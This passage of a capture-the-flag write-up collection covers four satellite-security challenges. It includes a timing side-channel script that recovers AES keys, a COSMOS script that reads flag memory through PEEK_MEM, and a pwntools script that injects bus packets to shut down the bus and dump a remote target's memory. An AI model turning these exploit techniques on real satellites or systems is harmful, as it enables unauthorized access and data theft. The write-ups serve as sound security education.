+line). Once the set of possible partial keys (accounting for the +ambiguity in the least significant bits of each derived byte) has been +obtained by the above method, an attacker may brute force the remaining +unknown key bytes. + +In the case of Leaky Crypto, a set of 100,000 plaintexts and +corresponding encryption times is provided along with the first six +bytes of the encryption key. We ran an analyzer program[^1] against +these plaintexts to obtain the probable correlation between different +indexes in the key with respect to the XOR product of those bytes with +plaintext bytes. Per the above, the plaintexts and timing data provided +enough information to derive the systems of equations which may be used +to solve for key bytes, and the first 6 bytes of the key provided enough +information to actually solve said systems of equations. Given the +ambiguity of the low bits of each derived key byte, we obtained 214 +partial keys with three unknown bytes each. Thus, we reduced the problem +of guessing 2128 bits to guessing only 238 bits. We fed our derived +partial keys into [[https://github.com/pgarba/Hulk][Hulk]] to brute +force the remaining bytes for each candidate partial key. After 30 +minutes had passed, we successfully brute forced the key. + +#+BEGIN_SRC python + from itertools import combinations + import matplotlib.pyplot as plt + import numpy as np + + def find_outliers(corpus, num_samps, i, j): + idxs = corpus[i][j].argsort()[:num_samps] + return idxs + + def guess_bytes(corpus, known_keybytes, num_samps, avg): + candidates = [] + for base in range(4): + family = [base, base + 4, base + 8, base + 12] + for combo in combinations(family, 2): + i,j = combo + guesses = find_outliers(corpus, num_samps, i, j) + guesses2 = [] + for guess in guesses: + cnt = corpus[i][j][guess] + if cnt-avg < -10: + guesses2.append((i, j, guess, cnt-avg)) + print(i, j, guess, cnt - avg) + candidates.append(tuple(guesses2)) + print(candidates) + + if __name__ == '__main__': + known_keybytes = bytes.fromhex("64c7072487f2") + secret_data = "c1a5fe7beb2c70bfab98926627dcff8b9671edc52441....." + + data = set() + with open("test.txt", "r") as fp: + for line in fp: + pt, timing = line.strip().split(',') + pt = bytes.fromhex(pt) + timing = int(timing) + data.add((pt, timing)) + + tavg = sum((d[1] for d in data)) / len(data) + print("tavg: %d" % tavg) + + known_tly = np.zeros((16, 16, 256)) + + for base in range(4): + print("Building corpus for family %d" % base) + family = [base, base + 4, base + 8, base + 12] + for combo in combinations(family, 2): + times = np.zeros(256) + counts = np.zeros(256) + i,j = combo + print("Working on %d, %d" % (i, j)) + for d in data: + n = d[0][i] ^ d[0][j] + c = d[1] + times[n] += c + counts[n] += 1 + for c in range(256): + cnorm = times[c] / counts[c] + known_tly[i][j][c] = cnorm + known_tly[j][i][c] = cnorm + + guess_bytes(known_tly, known_keybytes, 4, tavg) +#+END_SRC + +\newpage +* Bytes Away! + :PROPERTIES: + :CUSTOM_ID: bytes-away + :END: + +*Category:* Satellite Bus *Points (final):* 223 *Solves:* 11 + +#+BEGIN_QUOTE + We have an encrypted telemetry link from one of our satellites but we + seem to have lost the encryption key. Thankfully we can still send + unencrypted commands using our Cosmos interface (included). I've also + included the last version of kit_to.so that was updated to the + satellite. Can you help us restore communication with the satellite so + we can see what error "flag" is being transmitted? +#+END_QUOTE + +** Write-up + :PROPERTIES: + :CUSTOM_ID: write-up-3 + :END: + +by [[https://awoo.systems][haskal]] + +Two files are provided for this challenge, one contains the =kit_to.so= +and the other contains a full [[https://cosmosrb.com/][COSMOS]] +directory tree for accessing the virtual satellite, which can be booted +up with the provided netcat endpoint. COSMOS is an open-source command +and control framework for satellites using +[[https://cfs.gsfc.nasa.gov/][NASA's Core Flight System]]. The provided +COSMOS directory contains everything we need to interact with the +virtual satellite, and the =kit_to.so= is part of the code that runs +onboard the actual satellite. Booting up COSMOS is enormously +complicated, so Docker can be used to automate the setup. We adapted the +Ball Aerospace COSMOS Docker image, and created a script to configure +COSMOS to connect to the CTF's satellite instance automatically by +writing the configuration file at +=cosmos/config/tools/cmd_tlm_server/cmd_tlm_server.txt=. When COSMOS is +successfully connected to the CTF instance it looks like this (no themes +were installed in the Docker container so it looks like Windows 95, I'm +so sorry,) + +[[file:COSMOS.png]] + +COSMOS can be used to send commands with the Command Sender, and we can +send for example a command for ENABLE_TELEMETRY, which causes the +satellite to start sending telemetry. However these are encrypted, so +COSMOS cannot understand them. + +[[file:COSMOS_enable_telemetry.png]] + +We also discover another present subsystem called =MM=, which allows for +reading and writing arbitrary memory on the satellite (how useful!) as +well as interacting with memory by symbols (extremely useful!). + +[[file:COSMOS_MM.png]] + +The provided =kit_to.so= contains the code used by the satellite to +transmit telemetry to COSMOS. We used +[[https://ghidra-sre.org/][Ghidra]] to analyze the binary (which +helpfully includes symbols and debugging information, and that makes our +lives way easier for this problem). We discovered that it uses AES CBC +with a key and IV retrieved with external functions =get_key= and +=get_iv= that are not present in the binary. However, these are stored +in known locations in memory, which means it would be possible to read +the AES key and IV using the PEEK_MEM command in COSMOS and then decrypt +the telemetry packets, but there's an easier way. The code contains a +function =KIT_TO_SendFlagPkt= which (as you might guess) sends the flag +via encrypted telemetry, and this also writes the flag as an +intermediate value to a known memory location. PIE is enabled for this +binary, however since the PEEK_MEM command allows looking up memory by +symbol name the address randomization is very trivially bypassed. + +[[file:ghidra.png]] + +Inspecting the structure of =KitToFlagPkt= shows that the flag is +located at offset 12 and is (up to) 200 bytes long. We created a Ruby +script in the COSMOS Script Runner to execute PEEK_MEM commands for each +byte in the flag range, based on the command COSMOS outputs to the +console when running the command manually in the GUI. Note that in order +for the function =KIT_TO_SendFlagPkt= to be called at all, we must first +run the ENABLE_TELEMETRY command even though we're not going to look at +any actual telemetry. + +#+BEGIN_SRC ruby + 12.upto(212) { |off| + offset = off + cmd("MM PEEK_MEM with CCSDS_STREAMID 6280, CCSDS_SEQUENCE 49152, CCSDS_LENGTH 73, " + + "CCSDS_FUNCCODE 2, CCSDS_CHECKSUM 0, DATA_SIZE 8, MEM_TYPE 1, PAD_16 0, " + + "ADDR_OFFSET #{offset}, ADDR_SYMBOL_NAME 'KitToFlagPkt'") + } +#+END_SRC + +This directly prints the flag to the console, simply decode the hex to +get the flag value. + +** Resources and other writeups + :PROPERTIES: + :CUSTOM_ID: resources-and-other-writeups-4 + :END: + +- [[https://cosmosrb.com/]] +- [[https://cfs.gsfc.nasa.gov/]] +- [[https://ghidra-sre.org/]] + +\newpage +* Magic Bus + :PROPERTIES: + :CUSTOM_ID: magic-bus + :END: + +*Category*: Satellite Bus *Points (final)*: 91 *Solves*: 44 (this number +taunts me) + +/Important note:/ Team BLAHAJ did not solve this problem until after the +competition, and it did not count toward our final point total. + +#+BEGIN_QUOTE + There's a very busy bus we've tapped a port onto, surely there is some + juicy information hidden in the device memory... somewhere... +#+END_QUOTE + +** Write-up + :PROPERTIES: + :CUSTOM_ID: write-up-4 + :END: + +by [[https://qtp2t.club/][hazel (=arcetera=)]] + +*I hate this problem. I hate this problem. I hate this problem. I hate +this problem. I literally hate this problem so much. This problem made +me cry. I have literally no words to describe the exact extent to which +this problem has driven me insane. This problem taunts me in my sleep. +This problem taunts me while I am awake. The extent to which I despise +this problem is beyond words. I hate this. I hate whoever made this. I +want to burn this problem to the ground. This problem has achieved +active sentience and holds malice against me and the rest of my team +specifically. Had the competition not ended, this problem would hold the +rest of the world hostage.* + +Furthermore, much of this writeup is /failed/ attempts at a solution. +Other writeups may be more useful at determining success, despite our +team eventually finding a solution. + +...anyway... + +When netcatting into the server, a series of hex bytes appears. A +cursory analysis of these bytes reveals that all packets start with =^= +and end with =.=, aside from lines starting with byte CA. Decoding the +data beginning with byte CA reveals some 🧃🧃🧃. This output has =\xca\x00= +stripped: + +#+BEGIN_EXAMPLE + b'\xb2M*\xf9H\xacyvQ}\xd4\xf2\xa0\xcd\xc9Juicy Data 03\x00M\xae@\x9a\xd89\xe2\x85\xb2Y\xd6/-\xc9\xd0\xfb\x92\xd2\xc4Y\xaa[ B\xc6\xb5' +#+END_EXAMPLE + +I prefer water though. #WaterDrinkers + +While I was asleep, the rest of the team managed to reverse the protocol +to a decent extent. Namely, the format for strings beginning with +=:\x00\x00>= and =:\x00\x00?= and ending with =?= is: - =\0x000000= (6 +bytes) - @ or ? - A (7 bytes) - @ (2 bytes) - @ or ? - =\xc1= (3 bytes) + +An example: + +#+BEGIN_EXAMPLE + b'\x00\x00\x008\x94S@\xc8.@A\x01:\xa0\xc0i\x11\xa1@|.@\xc1\x9b\x1c\xe6?' + : 00:00:00 > 38:94:53:40:c8:2e @ 1:3a:a0:c0:69:11:a1 @ 7c:2e @ 9b:1c:e6 ? +#+END_EXAMPLE + +The following Python code decodes this packet structure: + +#+BEGIN_SRC python + def to_hex(b): + return ':'.join(hex(x)[2:] for x in b) + + def decode_pkt(b): + if len(b) == 0: + return + if b[0] == 0xCA: + pass # raw data? + elif b[0] == ord(':'): + if b[3] == ord('>') or b[3] == ord('?'): # > or ? + field1 = to_hex(b[7:13]) # 6 bytes + field1end = chr(b[13]) # + field2 = to_hex(b[15:22]) # 7 bytes + if b[22] != ord('@'): + print('b[22] should be @ but is {}'.format(chr(b[22]))) + field3 = to_hex(b[23:25]) + field3end = chr(b[25]) + c1 = b[26] + field4 = to_hex(b[27:30]) + if b[30] != ord('?'): + print('b[30] is not ?') + print(': 00:00:00 > {} {} {} @ {} {} {} ?'.format(field1, field1end, field2, + field3, field3end, field4)) + elif b[0] == ord(';'): + print('delimiter') # end of previous packet? + else: + print(b[0]) + print('unknown data') + print('\n') +#+END_SRC + +Noting a delay between packets led me to derive the following packet +structure: - START packet, which is equal to the preceding END packet - +ONCE call, which occurs prior to a... - ONCE packet - JUICY DATA - END +call - END packet, which is equal to the next START packet + +This proved to be incorrect, but more on that later. + +The following code differentiates between these packets from the netcat, +where the variable =rawn= is the raw byte string: + +#+BEGIN_SRC python + start = True + while True: + r.recvuntil('^') + raw = r.recvuntil('.') + rawn = bytes([94]) + raw + print(rawn) + v = raw.decode().split('+') + del v[-1] + h = bytes([int(i, 16) for i in v]) + if h == b';\x00\x00?': + print("ONCE CALL") + elif h == b';\x00\x00>': + print("END CALL") + elif h.startswith(b':\x00\x00?'): + print(f"ONCE: {h[4:]}") + elif h.startswith(b':\x00\x00>'): + # notable delay between start and end each time + if start: + print(f"START: {h[4:]}") + start = False + else: + print("INJECTING") + r.send(inj) + print(f"END: {h[4:]}") + start = True + elif h.startswith(b'\xca'): + print(f"JUICE: {h}") + else: + print(f"???: {h}") + + sys.stdout.flush() +#+END_SRC + +I then noticed that post-text the string +=\x00R\x01\x1e{\x81G\x00\xc9\x9d\xe3\xe7\xc2#6= had the characters ={= +and =6= at the same point as =flag{oscar39616kilo=, which would +correspond to a flag. I graphed this and tried to find a function (or +multiple) modeling a relation here, but with R2 being something like +0.39 for every relation I tried, this was extremely unlikely. + +We then tried reading the data sequentially from the buffer, from Juicy +Data 00 to 04. Here's the entire string: + +#+BEGIN_EXAMPLE + 00000000: 4a75 6963 7920 4461 7461 2030 3000 c8f7 Juicy Data 00... + 00000010: eb15 963d 6b70 5cc9 2c5e d5cf 5c31 9919 ...=kp\.,^..\1.. + 00000020: 779a c6a9 0865 8d55 926a 372c 00ff 23eb w....e.U.j7,..#. + 00000030: 14b9 297f 2985 4856 e31d 2558 58be 59c6 ..).).HV..%XX.Y. + 00000040: 4a75 6963 7920 4461 7461 2030 3100 5201 Juicy Data 01.R. + 00000050: 1e7b 8147 00c9 9de3 e7c2 2336 817c fcd9 .{.G......#6.|.. + 00000060: 9b6b 3a1f 68f0 35ce dd77 35ca dc87 ccfa .k:.h.5..w5..... + 00000070: 024d 4102 16df e5fd a108 3322 842f fc1f .MA.......3"./.. + 00000080: 4a75 6963 7920 4461 7461 2030 3200 c08f Juicy Data 02... + 00000090: e702 91fd e177 fb82 7f2e a504 5ea1 23f9 .....w......^.#. + 000000a0: d762 fcfd d5cd 00c0 d4ce 8661 6847 f14f .b.........ahG.O + 000000b0: 4982 4d2a f948 ac79 7651 7dd4 f2a0 cdc9 I.M*.H.yvQ}..... + 000000c0: 4a75 6963 7920 4461 7461 2030 3300 4dae Juicy Data 03.M. + 000000d0: 409a d839 e285 b259 d62f 2dc9 d0fb 92d2 @..9...Y./-..... + 000000e0: c459 aa5b 2042 c6b5 6193 b3c6 5001 7590 .Y.[ B..a...P.u. + 000000f0: 9b4d ca7e d27c d7a9 ac04 727c ff04 4ec4 .M.~.|....r|..N. + 00000100: 4a75 6963 7920 4461 7461 2030 3400 5a83 Juicy Data 04.Z. + 00000110: 2524 01f8 a0d8 a14c dc13 c8dc 1717 a075 %$.....L.......u + 00000120: 10bf f24b a525 e81e 0c4b e8f3 ...K.%...K.. +#+END_EXAMPLE + +Unfortunately, nothing meaningful was derived from this. There are a ={= +and =}= with bytes between them, but they aren't flag length. + +I noticed that injecting instructions performed something, but I didn't +think it did anything notable. I injected various data at various +points, but I never managed to break out at the previous region of +memory... which is where gashapwn's /incredible/ work came in. + +If the packet =^3b+00+00+00.= is sent, the bus /stops sending data/, +which is decidedly confirmation that the server accepts data. Each of +the following injects has the same effect: + +#+BEGIN_EXAMPLE + ^3b+00+00+30+. + ^3b+00+00+31+. + ^3b+00+00+32+. + ^3b+00+00+33+. + ^3b+00+00+34+. + ^3b+00+00+34+. + ^3b+00+00+35+. + ^3b+00+00+36+. + ^3b+00+00+37+. +#+END_EXAMPLE + +In practice, only this last packet is needed to shut down the server. +Anything of the form of =^3b+00+00+XX+.= where XX<38 shuts it down, but +only 37 enables dump mode. This can probably be done with a fuzzer. Why +has God abandoned us? What accursed malfunction did we do to deserve +this fate? + +If you send the packet +=^ca+00+44+79+20+44+61+74+61+20+30+31+00+52+01+1e+7b+81+47+00+.....+87+cc+.=, +the same packet is sent back. This means that the juice packets +deliminated with =\xca= are actually instructions. + +By playing with the packet, the format appears to go: - Byte 0: CA - +Byte 1-2: Memory offset - Byte 3-end: Size of memory to return + +...so if we ask for a really large chunk of data, we can get a dump. +With the inject: + +#+BEGIN_EXAMPLE + b"^3b+00+00+37+." + b"^ca+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+00+....+00+00+." +#+END_EXAMPLE + +we can query for everything in memory. And we did. + +*** Full code + :PROPERTIES: + :CUSTOM_ID: full-code-3 + :END: + +#+BEGIN_SRC python + #!/usr/bin/env python3 + import time + import sys + + from pwnlib import tubes + + TICKET = 'THE_TICKET' + r = tubes.remote.remote('bus.satellitesabove.me', 5041) + r.send(TICKET+'\n') + time.sleep(0.5) + r.recvuntil('Ticket please:\n', drop=True) + + def to_hex(b): + return ':'.join(hex(x)[2:] for x in b) + + def decode_pkt(b): + if len(b) == 0: + return + if b[0] == 0xCA: + pass # raw data? + elif b[0] == ord(':'): + if b[3] == ord('>') or b[3] == ord('?'): # > or ? + field1 = to_hex(b[7:13]) # 6 bytes + field1end = chr(b[13]) # + field2 = to_hex(b[15:22]) # 7 bytes + if b[22] != ord('@'): + print('b[22] should be @ but is {}'.format(chr(b[22]))) + field3 = to_hex(b[23:25]) + field3end = chr(b[25]) + c1 = b[26] + field4 = to_hex(b[27:30]) + if b[30] != ord('?'): + print('b[30] is not ?') + print(': 00:00:00 > {} {} {} @ {} {} {} ?'.format(field1, field1end, field2, + field3, field3end, field4)) + elif b[0] == ord(';'): + print('delimiter') # end of previous packet? + else: + print(b[0]) + print('unknown data') + print('\n') + + start = True + inj = b"^3b+00+00+37+." + inj2 = b"^ca+" + (b"00+" * 512) + b"." + + dont = False + inj2_b = False + + print("Injection: " + inj.decode("utf-8")) + + while True: + r.recvuntil('^') + raw = r.recvuntil('.') + rawn = bytes([94]) + raw + print(rawn) + v = raw.decode().split('+') + del v[-1] + h = bytes([int(i, 16) for i in v]) + if h == b';\x00\x00?': + print("ONCE CALL") + elif h == b';\x00\x00>': + print("END CALL") + elif h.startswith(b':\x00\x00?'): + print(f"ONCE: {h[4:].hex()}") + elif h.startswith(b'\x3b\x00\x00\x37'): + print("SHUT DOWN SUCCESSFUL") + dont = True + inj2_b = True + print("INJECTING AGAIN") + r.send(inj2) + elif h.startswith(b':\x00\x00>'): + # notable delay between start and end each time + if start: + print(f"START: {h[4:].hex()}") + start = False + elif inj2_b == False: + print("INJECTING") + r.send(inj) + print(f"END: {h[4:].hex()}") + start = True + else: + print("INJECTING AGAIN") + r.send(inj2) + print(f"END: {h[4:].hex()}") + start = True + elif h.startswith(b'\xca'): + print(f"JUICE: {h}") + else: + dont = True + print(f"???: {h.hex()}") + + if not dont: + decode_pkt(h) + dont = False + sys.stdout.flush() +#+END_SRC + +Run it: + +#+BEGIN_EXAMPLE + λ has-writeup/satellite-bus/magic-bus python magic-bus.py + + .... + + JUICE: b'.....v\xaf\xe88\x856Mflag{oscar39616kilo:GCxmhORYa65Y0PmRtFmlFSBmnvImEiWg.....' +#+END_EXAMPLE + +Hey look, a flag! + +I hate this problem so much. At the time of me writing this, it's 1:30 +AM and I'm sitting in my kitchen on my Lenovo(tm) ThinkPad(tm) T440(tm). +I genuinely don't know how this got so many solves. I hate this. +Goodnight. + +** Resources and other writeups + :PROPERTIES: + :CUSTOM_ID: resources-and-other-writeups-5 + :END: + +- God I wish there was any + +\newpage +* Good Plan? Great Plan! + :PROPERTIES: + :CUSTOM_ID: good-plan-great-plan + :END: + +*Category*: Space and Things *Points (final)*: 77 *Solves*: 54 + +#+BEGIN_QUOTE + Help the Launchdotcom team perform a mission on their satellite to + take a picture of a specific location on the ground. No hacking here, + just good old fashion mission planning! +#+END_QUOTE + +#+BEGIN_QUOTE + The current time is April 22, 2020 at midnight (2020-04-22T00:00:00Z). + We need to obtain images of the Iranian space port (35.234722 N + 53.920833 E) with our satellite within the next 48 hours. You must + design a mission plan that obtains the images and downloads them + within the time frame without causing any system failures on the + spacecraft, or putting it at risk of continuing operations. The + spacecraft in question is USA 224 in the NORAD database with the + following TLE: + + #+BEGIN_EXAMPLE + 1 37348U 11002A 20053.50800700 .00010600 00000-0 95354-4 0 09 + 2 37348 97.9000 166.7120 0540467 271.5258 235.8003 14.76330431 04 + #+END_EXAMPLE + + You need to obtain 120 MB of image data of the target location and + downlink it to our ground station in Fairbanks, AK (64.977488 N + 147.510697 W). Your mission will begin at 2020-04-22T00:00:00Z and + last 48 hours. You are submitting a mission plan to a simulator that + will ensure the mission plan will not put the spacecraft at risk, and + will accomplish the desired objectives. +#+END_QUOTE + +** Write-up + :PROPERTIES: + :CUSTOM_ID: write-up-5 + :END: + +by [[https://qtp2t.club/][hazel (=arcetera=)]] + +In the time range [2020-04-22 00:00:00, 2020-04-23 23:59:00], the USA +224 satellite as given in the TLE above reaches the Iranian space port +twice: - Around 09:28 on 2020-04-22 - Around 09:50 on 2020-04-23 This +was found in GPredict after loading in the TLE given in the netcat. + +Additionally, the USA 224 reaches the ground station in Alaska twice: - +Around 10:47 on 2020-04-22 - Around 11:10 on 2020-04-23 + +The rest of the strategy is pretty much just to use trial and error: - +Image for as long as possible until the battery runs dry or we're out of +range - Downlink for as long as possible until the battery runs dry or +we're out of range - Desaturate the wheels about an hour before they +exceed maximum velocity + +*** Full plan + :PROPERTIES: + :CUSTOM_ID: full-plan + :END: + +#+BEGIN_EXAMPLE + 2020-04-22T00:00:00Z sun_point + 2020-04-22T09:28:00Z imaging + 2020-04-22T09:35:00Z sun_point + 2020-04-22T10:47:00Z data_downlink + 2020-04-22T10:50:00Z wheel_desaturate + 2020-04-22T11:30:00Z sun_point + 2020-04-23T08:50:00Z wheel_desaturate + 2020-04-23T09:30:00Z sun_point + 2020-04-23T09:50:00Z imaging + 2020-04-23T09:56:00Z sun_point + 2020-04-23T11:10:00Z data_downlink + 2020-04-23T11:14:00Z sun_point + 2020-04-23T22:00:00Z wheel_desaturate +#+END_EXAMPLE + +** Resources and other writeups + :PROPERTIES: + :CUSTOM_ID: resources-and-other-writeups-6 + :END: + +- [[http://gpredict.oz9aec.net/]] +- [[https://en.wikipedia.org/wiki/Two-line_element_set]] + +\newpage